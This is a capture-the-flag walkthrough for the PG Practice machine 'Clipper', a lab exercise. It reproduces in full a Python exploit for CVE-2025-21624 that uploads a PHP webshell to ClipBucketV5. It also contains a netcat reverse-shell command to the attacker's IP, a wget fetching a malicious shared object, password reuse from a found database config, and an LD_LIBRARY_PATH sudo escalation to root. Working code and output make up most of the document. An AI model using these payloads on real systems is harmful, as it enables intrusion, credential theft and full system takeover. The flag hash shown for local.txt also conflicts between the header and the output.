Summary #
On port 80 there is an application called ClipBucketV5 - v5.5.0
for which a file upload / RCE is available (CVE-2025-21624). Using this exploit we get initial access as the www-data
user. Once on the target we find database credentials and reuse the password to move laterally to the pierre
user. Checking the sudo privileges, we are allowed to set environment variables while running lsof
. Listing all shared object dependencies, creating our own .so file and setting the LD_LIBRARY_PATH environment variable to our location / shared object we escalate privileges to the root
user.
Specifications #
- Name: CLIPPER
- Platform: PG PRACTICE
- Points: 10
- Difficulty: Intermediate
- System overview: Linux clipper 6.1.0-25-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.106-3 (2024-08-26) x86_64 GNU/Linux
- IP address: 192.168.105.191
- OFFSEC provided credentials: None
- HASH:
local.txt
:4170ac4e755c1e76d4c8a86cb15b8350
- HASH:
proof.txt
:a7da6b96f76a7c7cc15f355a4abcdd40
Preparation #
First we’ll create a directory structure for our files, set the IP address to a bash variable and ping the target:
## create directory structure
mkdir clipper && cd clipper && mkdir enum files exploits uploads tools
## list directory
ls -la
total 28
drwxrwxr-x 7 kali kali 4096 Sep 6 07:53 .
drwxrwxr-x 55 kali kali 4096 Sep 6 07:53 ..
drwxrwxr-x 2 kali kali 4096 Sep 6 07:53 enum
drwxrwxr-x 2 kali kali 4096 Sep 6 07:53 exploits
drwxrwxr-x 2 kali kali 4096 Sep 6 07:53 files
drwxrwxr-x 2 kali kali 4096 Sep 6 07:53 tools
drwxrwxr-x 2 kali kali 4096 Sep 6 07:53 uploads
## set bash variable
ip=192.168.105.191
## ping target to check if it's online
ping $ip
PING 192.168.105.191 (192.168.105.191) 56(84) bytes of data.
64 bytes from 192.168.105.191: icmp_seq=1 ttl=61 time=21.7 ms
64 bytes from 192.168.105.191: icmp_seq=2 ttl=61 time=22.1 ms
^C
--- 192.168.105.191 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 21.726/21.907/22.088/0.181 ms
Reconnaissance #
Portscanning #
Using Rustscan
we can see what TCP ports are open. This tool is part of my default portscan flow.
## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
RustScan: Making sure 'closed' isn't just a state of mind.
[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 192.168.105.191:22
Open 192.168.105.191:80
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-06 07:54 CEST
Initiating Ping Scan at 07:54
Scanning 192.168.105.191 [4 ports]
Completed Ping Scan at 07:54, 0.07s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 07:54
Completed Parallel DNS resolution of 1 host. at 07:54, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 07:54
Scanning 192.168.105.191 [2 ports]
Discovered open port 80/tcp on 192.168.105.191
Discovered open port 22/tcp on 192.168.105.191
Completed SYN Stealth Scan at 07:54, 0.05s elapsed (2 total ports)
Nmap scan report for 192.168.105.191
Host is up, received reset ttl 61 (0.030s latency).
Scanned at 2025-09-06 07:54:00 CEST for 0s
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 61
80/tcp open http syn-ack ttl 61
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.26 seconds
Raw packets sent: 6 (240B) | Rcvd: 3 (128B)
Copy the output of open ports into a file called ports
within the files
directory.
## edit the ``files/ports` file
nano files/ports
## content `ports` file:
22/tcp open ssh syn-ack ttl 61
80/tcp open http syn-ack ttl 61
Run the following command to get a string of all open ports and use the output of this command to paste within NMAP:
## get a list, comma separated of the open port(s)
cd files && cat ports | cut -d '/' -f1 > ports.txt && awk '{printf "%s,",$0;n++}' ports.txt | sed 's/.$//' > ports && rm ports.txt && cat ports && cd ..
## output previous command
22,80
## use this output in the `nmap` command below:
sudo nmap -T3 -p 22,80 -sCV -vv $ip -oN enum/nmap-services-tcp
Output of NMAP:
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 61 OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 fc:72:06:8f:ef:ec:9b:87:f3:95:ca:f2:e7:1f:ea:dc (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFyksaWzSNfPbN6T3ts7+fGJ0/9aIXrN7HimSzjO+W6pfa1Qq4QZb/hnkglJwvjgcTOQiraq2M9EQ9JtbRC1ROY=
| 256 42:c2:f0:fd:85:f6:93:cb:bd:a0:e8:ed:c1:a2:6d:60 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHbDRRUQ2YifMbadcFEg6fdgQ2bcGEHcQyrud/UFwLiy
80/tcp open http syn-ack ttl 61 nginx 1.22.1
|_http-title: ClipBucketV5 - v5.5.0 STABLE - A way to broadcast yourself
|_http-favicon: Unknown favicon MD5: DD28865C5381B02BFAB0E044F6998F53
|_http-server-header: nginx/1.22.1
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-methods:
|_ Supported Methods: GET HEAD POST
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Initial Access #
80/tcp open http syn-ack ttl 61 nginx 1.22.1
|_http-title: ClipBucketV5 - v5.5.0 STABLE - A way to broadcast yourself
|_http-favicon: Unknown favicon MD5: DD28865C5381B02BFAB0E044F6998F53
|_http-server-header: nginx/1.22.1
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-methods:
|_ Supported Methods: GET HEAD POST
On port 80 there is an application running called ClipBucketV5 - v5.5.0
.

When we click on Login
in the upper right corner, we can login using the weak credentials: admin:admin
. However, once we try to login with these credentials it wants to connect to this hostname: clipbucket.local
. So, we first need to add this to our /etc/hosts
file. Otherwise we’ll not be able to connect.
echo "192.168.105.191 clipbucket.local" | sudo tee -a /etc/hosts
Reconnect now, refresh the page and we get logged in.

When we search the internet for an existing exploit of this application, we can find: https://github.com/MacWarrior/clipbucket-v5/security/advisories/GHSA-98vm-2xqm-xrcc (CVE-2025-21624). This shows the exploit Proof-of-Concept (PoC). Let’s save it locally.
## change directory
cd exploits
Save the content below as exploit.py
.
#!/usr/bin/python
# by Ka Wing Ho - wingz
# assumes Linux system not Windows
# python poc.py <username> <password> <http(s)://target>
from datetime import datetime
import requests
import sys
# get args
USAGE = "Usage: python {} <username> <password> <http(s)://target>".format(sys.argv[0])
if len(sys.argv) < 4:
print(USAGE)
sys.exit()
user = sys.argv[1]
passw = sys.argv[2]
target = sys.argv[3]
if 'http' not in target:
print(USAGE)
print("[>] Please specify http:// or https:// protocol")
sys.exit()
# remove trailing slash if present
if target[-1] == "/": target = target[:-1]
# testing connection to target
r = requests.get(target)
if "ClipBucketV5" not in r.text:
print("[>] Target frontpage not accessible or is not ClipBucketV5")
sys.exit()
# obtain user session
s = requests.Session()
login_data = {
"login" : "login",
"username": user,
"password": passw
}
r = s.post("{}/signup.php?mode=login".format(target),login_data)
if 'Username and Password Didn't Match' in r.text:
print("[>] Authentication failed, bad username and/or password")
sys.exit(1)
# check if admin or not, adjust web request
r = s.get(target)
if "Admin Area" in r.text:
print("[+] Admin session, using Admin URL")
upload_url = "/admin_area/manage_playlist.php"
isAdmin = True
else:
print("[+] Low-level session, using regular user URL")
upload_url = "/manage_playlists.php"
isAdmin = False
# upload webshell
dt = datetime.today().strftime('%Y/%m/%d')
webshell_code = '''<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>'''
payload = {
"upload_playlist_cover": (None,"1"),
"playlist_cover" : ("shell.php", webshell_code)
} # we don't need any of the other parameters, just the essentials
r = s.post("{}{}?mode=edit_playlist&pid=1337".format(target,upload_url), files=payload)
if isAdmin and r.status_code == 200 and "Playlist does not exist" in r.text:
print("[+] Webshell upload as admin succeeded")
elif not isAdmin and r.status_code == 200 and "Playlist cover has been uploaded" in r.text:
print("[+] Webshell upload as low-level user succeeded")
else:
print("[-] Webshell upload failed!!!")
sys.exit(1)
# verify webshell (with unauth-ed session)
webshell_url = "{}/images/playlist_covers/{}/1337.php".format(target,dt)
r = requests.get(webshell_url)
if r.status_code == 404:
# you may have to try +- 1 day to account for different server clocktimes
print("[>] Webshell browsing failed! Maybe incorrect date in URL path: {}".format(dt))
print("[>] Try increasing/decreasing the date: {}".format(webshell_url))
sys.ext(1)
elif r.status_code == 200:
pass
else:
print("[>] Unknown error: {}".format(r.status_code))
sys.exit(2)
# execute webshell sample (with unauth-ed session)
cmd = "cat+/etc/passwd"
rce_url = "{}/images/playlist_covers/{}/1337.php?cmd={}".format(target,dt,cmd)
print("[+] Sample webshell usage: \033[94m{}\x1b[0m (you can copy+paste this in browser)".format(rce_url))
r = requests.get(rce_url)
print(r.text.replace("<pre>","\n").replace("</pre>",""))
cmd = "rm+1337.php"
delete_url = "{}/images/playlist_covers/{}/1337.php?cmd={}".format(target,dt,cmd)
print("[+] Cleanup: use the webshell to delete itself => \033[93m{}\x1b[0m (you can copy+paste this in browser)".format(delete_url))
Now we can run the exploit to get the example /etc/passwd
output. We can copy the URL: http://clipbucket.local/images/playlist_covers/2025/09/06/1337.php?cmd=cat+/etc/passwd
and change the command to what we want. Let’s now get a reverse shell on the target as the www-data
user in the /opt/clipbucket-v5-5.5.0/upload/images/playlist_covers/2025/09/06
directory.
## run the exploit
python3 exploit.py admin admin http://clipbucket.local
[+] Admin session, using Admin URL
[+] Webshell upload as admin succeeded
[+] Sample webshell usage: http://clipbucket.local/images/playlist_covers/2025/09/06/1337.php?cmd=cat+/etc/passwd (you can copy+paste this in browser)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:100:107::/nonexistent:/usr/sbin/nologin
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
mysql:x:102:109:MySQL Server,,,:/nonexistent:/bin/false
smmta:x:103:110:Mail Transfer Agent,,,:/var/lib/sendmail:/usr/sbin/nologin
smmsp:x:104:111:Mail Submission Program,,,:/var/lib/sendmail:/usr/sbin/nologin
_mta-sts:x:105:112::/var/lib/mta-sts/:/usr/sbin/nologin
pierre:x:1000:1000::/home/pierre:/bin/bash
[+] Cleanup: use the webshell to delete itself => http://clipbucket.local/images/playlist_covers/2025/09/06/1337.php?cmd=rm+1337.php (you can copy+paste this in browser)
## get the local IP address on tun0
ip a | grep -A 10 tun0
5: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
link/none
inet 192.168.45.243/24 scope global tun0
valid_lft forever preferred_lft forever
inet6 fe80::16c4:7f54:1da6:daf8/64 scope link stable-privacy proto kernel_ll
valid_lft forever preferred_lft forever
## setup a listener
nc -lvnp 9001
listening on [any] 9001 ...
## send the reverse shell command -> paste in the browser
http://clipbucket.local/images/playlist_covers/2025/09/06/1337.php?cmd=nc+192.168.45.243+9001+-c+bash
## catch the reverse shell
nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.45.243] from (UNKNOWN) [192.168.105.191] 45828
## print current user
whoami
www-data
## print current working directory
pwd
/opt/clipbucket-v5-5.5.0/upload/images/playlist_covers/2025/09/06
## find `local.txt` on the filesystem
find / -iname 'local.txt' 2>/dev/null
/home/pierre/local.txt
## print `local.txt`
cat /home/pierre/local.txt
a3c48a1ab315f3d1e7a5226c6e4269ba
Lateral Movement #
To get a proper TTY we upgrade our shell using the script
binary.
## determine location script binary
which script
/usr/bin/script
## start the script binary, after that press CTRL+Z
/usr/bin/script -qc /bin/bash /dev/null
## after this command press the `enter` key twice
stty raw -echo ; fg ; reset
## run the following to be able to clear the screen and set the terrminal correct
<v5-5.5.0/upload/images/playlist_covers/2025/09/05$ export TERM=xterm && stty columns 200 rows 200
One of the first thing you could do is look for credentials in a webapplication and/or used database. So, let’s try to find some. And indeed, we find database credentials: clipbucket:ODk5OGNkNDdmNWQ1OWU3Mjg2YWYyMjFl
.
## change directory
www-data@clipper:/opt/clipbucket-v5-5.5.0/upload/images/playlist_covers/2025/09/06$ cd /opt/clipbucket-v5-5.5.0/
www-data@clipper:/opt/clipbucket-v5-5.5.0$
## use `find` to locate all files with `conf` in it and use `grep` to search for `password`
www-data@clipper:/opt/clipbucket-v5-5.5.0$ find . -iname '*conf*' 2>/dev/null | xargs grep -A 3 -B 3 -i 'password'
grep: ./upload/vendor/predis/predis/src/Configuration: Is a directory
grep: ./upload/vendor/smarty/smarty/demo/configs: Is a directory
./upload/vendor/phpmailer/phpmailer/src/DSNConfigurator.php- }
./upload/vendor/phpmailer/phpmailer/src/DSNConfigurator.php-
./upload/vendor/phpmailer/phpmailer/src/DSNConfigurator.php- if (isset($config['pass'])) {
./upload/vendor/phpmailer/phpmailer/src/DSNConfigurator.php: $mailer->Password = $config['pass'];
./upload/vendor/phpmailer/phpmailer/src/DSNConfigurator.php- }
./upload/vendor/phpmailer/phpmailer/src/DSNConfigurator.php- }
./upload/vendor/phpmailer/phpmailer/src/DSNConfigurator.php-
--
./upload/vendor/phpmailer/phpmailer/src/DSNConfigurator.php- unset($allowedOptions['Mailer']);
./upload/vendor/phpmailer/phpmailer/src/DSNConfigurator.php- unset($allowedOptions['SMTPAuth']);
./upload/vendor/phpmailer/phpmailer/src/DSNConfigurator.php- unset($allowedOptions['Username']);
./upload/vendor/phpmailer/phpmailer/src/DSNConfigurator.php: unset($allowedOptions['Password']);
./upload/vendor/phpmailer/phpmailer/src/DSNConfigurator.php- unset($allowedOptions['Hostname']);
./upload/vendor/phpmailer/phpmailer/src/DSNConfigurator.php- unset($allowedOptions['Port']);
./upload/vendor/phpmailer/phpmailer/src/DSNConfigurator.php- unset($allowedOptions['ErrorInfo']);
--
./upload/cb_install/config.php-$DBNAME = '_DB_NAME_';
./upload/cb_install/config.php-//Database Username
./upload/cb_install/config.php-$DBUSER = '_DB_USER_';
./upload/cb_install/config.php://Database Password
./upload/cb_install/config.php-$DBPASS = '_DB_PASS_';
./upload/cb_install/config.php-//Database Port
./upload/cb_install/config.php-$DBPORT = '_DB_PORT_';
--
./upload/cb_install/sql/configs.sql- (NULL, 'video_round_views', 'yes'),
./upload/cb_install/sql/configs.sql- (NULL, 'access_to_logged_in', 'no'),
./upload/cb_install/sql/configs.sql- (NULL, 'pick_geo_country', 'yes'),
./upload/cb_install/sql/configs.sql: (NULL, 'password_salt', SUBSTRING(HEX(SHA2(CONCAT(NOW(), RAND(), UUID()), 512)),1, 32)),
./upload/cb_install/sql/configs.sql- (NULL, 'show_collapsed_checkboxes', '0'),
./upload/cb_install/sql/configs.sql- (NULL, 'enable_advertisement', 'no'),
./upload/cb_install/sql/configs.sql- (NULL, 'chromecast', 'yes'),
--
./upload/cb_install/sql/configs.sql- (NULL, 'proxy_url', ''),
./upload/cb_install/sql/configs.sql- (NULL, 'proxy_port', ''),
./upload/cb_install/sql/configs.sql- (NULL, 'proxy_username', ''),
./upload/cb_install/sql/configs.sql: (NULL, 'proxy_password', ''),
./upload/cb_install/sql/configs.sql- (NULL, 'player_default_resolution', '1080'),
./upload/cb_install/sql/configs.sql- (NULL, 'keep_audio_tracks', '1'),
./upload/cb_install/sql/configs.sql- (NULL, 'keep_subtitles', '1'),
--
./upload/cb_install/sql/configs.sql- (NULL, 'cache_enable', 'no'),
./upload/cb_install/sql/configs.sql- (NULL, 'cache_auth', 'no'),
./upload/cb_install/sql/configs.sql- (NULL, 'cache_host', ''),
./upload/cb_install/sql/configs.sql: (NULL, 'cache_password', ''),
./upload/cb_install/sql/configs.sql- (NULL, 'cache_port', ''),
./upload/cb_install/sql/configs.sql- (NULL, 'disable_email', 'no'),
./upload/cb_install/sql/configs.sql- (NULL, 'enable_country', 'no'),
--
./upload/includes/config.php-$DBNAME = 'clipbucket';
./upload/includes/config.php-//Database Username
./upload/includes/config.php-$DBUSER = 'clipbucket';
./upload/includes/config.php://Database Password
./upload/includes/config.php-$DBPASS = 'ODk5OGNkNDdmNWQ1OWU3Mjg2YWYyMjFl';
./upload/includes/config.php-//Database Port
./upload/includes/config.php-$DBPORT = '3306';
When looking for users, we find two user: root
and pierre
. Perhaps there is credential reuse in play. Let’s switch to the pierre
user and paste in the password: ODk5OGNkNDdmNWQ1OWU3Mjg2YWYyMjFl
. Indeed. We get logged in as pierre
.
## print users with a shell
www-data@clipper:/opt/clipbucket-v5-5.5.0$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
pierre:x:1000:1000::/home/pierre:/bin/bash
## switch to the `pierre` user
www-data@clipper:/opt/clipbucket-v5-5.5.0$ su pierre
Password:
pierre@clipper:/opt/clipbucket-v5-5.5.0$
Privilege Escalation #
Checking the sudo privileges of this user we see that this user can set set environment variables for the lsof
binary as the root
user.
## print sudo privileges
pierre@clipper:/opt/clipbucket-v5-5.5.0$ sudo -l
[sudo] password for pierre:
Matching Defaults entries for pierre on localhost:
!env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User pierre may run the following commands on localhost:
(root) SETENV: /usr/bin/lsof*
Let’s create our own binary to escalate our privileges to the root
user. First, create a C program with the code to get use a shell as the root
user (uid=0/gid=0).
## change directory
cd files
Create a file called exploit.c
with this content:
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject() {
system("cp /bin/bash /var/tmp/bash && chmod +s /var/tmp/bash && /var/tmp/bash -p");
}
Now compile the code to a hared object. If you get any errors, just ignore them. No, upload the .so file to the target. First, we need to look at the shared object that the lsof
binary is dependent on.
## list all shared object dependencies of `lsof`
pierre@clipper:/var/tmp$ ldd /usr/bin/lsof
linux-vdso.so.1 (0x00007ffe6efb6000)
libtirpc.so.3 => /lib/x86_64-linux-gnu/libtirpc.so.3 (0x00007f38edf84000)
libselinux.so.1 => /lib/x86_64-linux-gnu/libselinux.so.1 (0x00007f38edf56000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f38edd75000)
libgssapi_krb5.so.2 => /lib/x86_64-linux-gnu/libgssapi_krb5.so.2 (0x00007f38edd22000)
libpcre2-8.so.0 => /lib/x86_64-linux-gnu/libpcre2-8.so.0 (0x00007f38edc88000)
/lib64/ld-linux-x86-64.so.2 (0x00007f38edfea000)
libkrb5.so.3 => /lib/x86_64-linux-gnu/libkrb5.so.3 (0x00007f38edbac000)
libk5crypto.so.3 => /lib/x86_64-linux-gnu/libk5crypto.so.3 (0x00007f38edb7f000)
libcom_err.so.2 => /lib/x86_64-linux-gnu/libcom_err.so.2 (0x00007f38edb79000)
libkrb5support.so.0 => /lib/x86_64-linux-gnu/libkrb5support.so.0 (0x00007f38edb6b000)
libkeyutils.so.1 => /lib/x86_64-linux-gnu/libkeyutils.so.1 (0x00007f38edb64000)
libresolv.so.2 => /lib/x86_64-linux-gnu/libresolv.so.2 (0x00007f38edb53000)
Rename the exploit.so
example, libkrb5.so.3
or libk5crypto.so.3
/ libkeyutils.so.1
/ libresolv.so.2
(they all give root
access) and set the LD_LIBRARY_PATH
environment variable to /var/tmp
while running the sudo command the to escalate our privileges to the root
user.
## compile the C code
gcc -fPIC -shared -nostartfiles -o exploit.so exploit.c
## get the local IP address on tun0
ip a | grep -A 10 tun0
5: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
link/none
inet 192.168.45.243/24 scope global tun0
valid_lft forever preferred_lft forever
inet6 fe80::16c4:7f54:1da6:daf8/64 scope link stable-privacy proto kernel_ll
valid_lft forever preferred_lft forever
## setup a webserver
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
## on target:
## change directory
pierre@clipper:/opt/clipbucket-v5-5.5.0$ cd /var/tmp
pierre@clipper:/var/tmp$
## download `exploit.so`
pierre@clipper:/var/tmp$ wget http://192.168.45.243/exploit.so
--2025-09-06 07:10:59-- http://192.168.45.243/exploit.so
Connecting to 192.168.45.243:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 14152 (14K) [application/octet-stream]
Saving to: ‘exploit.so’
exploit.so 0%[ exploit.so 100%[=============================================================================================================>] 13.82K --.-KB/s in 0.03s
2025-09-06 07:10:59 (463 KB/s) - ‘exploit.so’ saved [14152/14152]
## rename `exploit.so` to `libkrb5.so.3`
pierre@clipper:/var/tmp$ mv exploit.so libkrb5.so.3
## force `lsof` to load our `libkrb5.so.3` from `/var/tmp`
pierre@clipper:/var/tmp$ sudo LD_LIBRARY_PATH=/var/tmp /usr/bin/lsof
/usr/bin/lsof: /var/tmp/libkrb5.so.3: no version information available (required by /lib/x86_64-linux-gnu/libgssapi_krb5.so.2)
root@clipper:/var/tmp#
## print `proof.txt`
root@clipper:/var/tmp# cat /root/proof.txt
a7da6b96f76a7c7cc15f355a4abcdd40
References #
[+] https://github.com/MacWarrior/clipbucket-v5/security/advisories/GHSA-98vm-2xqm-xrcc